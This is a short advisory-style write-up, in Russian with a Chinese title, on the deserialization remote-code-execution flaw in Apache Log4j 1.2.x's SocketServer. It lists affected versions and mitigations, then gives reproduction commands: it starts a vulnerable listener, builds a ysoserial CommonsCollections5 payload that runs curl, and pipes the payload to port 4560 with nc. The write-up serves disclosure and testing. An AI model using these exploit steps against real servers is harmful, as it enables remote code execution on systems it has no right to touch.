
Apache Log4j 1.2.X存在反序列化远程代码执行漏洞
Ссылка на предупреждение об уязвимости: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j — это основанный на Java инструмент ведения журналов с открытым исходным кодом, разработанный Apache Software Foundation. В версиях Apache Log4j 1.2.X обнаружена уязвимость удаленного выполнения кода при десериализации. Злоумышленник может использовать эту уязвимость для выполнения произвольных вредоносных команд. В состав Log4j 1.2.X входит класс SocketServer, который легко поддается десериализации недоверенных данных. При прослушивании недоверенного сетевого трафика с данными журнала в сочетании с гаджетами десериализации данный класс может быть использован для удаленного выполнения произвольного кода. Уязвимость затрагивает текущую последнюю версию.
Высокая
Затрагиваемые версии
1.2.4 <= Apache Log4j <= 1.2.17 (последняя версия)
Рекомендации по устранению
Обновиться до последней версии серии Apache Log4j 2
Запретить открытие сокетного порта, используемого данным классом, для доступа к Интернету
Еще в версии Apache Log4j 2.8.1 существовала уязвимость удаленного выполнения кода при десериализации (CVE-2017-5645), где классом-триггером был org.apache.logging.log4j.core.net.server.TcpSocketServer. В версиях Apache Log4j 1.2.X классом-триггером стал org.apache.log4j.net.SocketServer
После поиска в сети выяснилось, что запуск SocketServer в Log4j 1.X осуществляется через команду java, а не через Java-код. (Если есть другие способы запуска, сообщите, пожалуйста.)
Также необходимо скачать затронутые jar-файлы и jar-файлы, позволяющие выполнять код, и добавить их в переменную окружения (ниже приведен пример для Windows). Запустить сервис, передав 3 параметра: порт, конфигурационный файл log4j и каталог lcf:
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
Получение соответствующих jar-файлов: https://github.com/shadow-horse/Vulenvironment/libs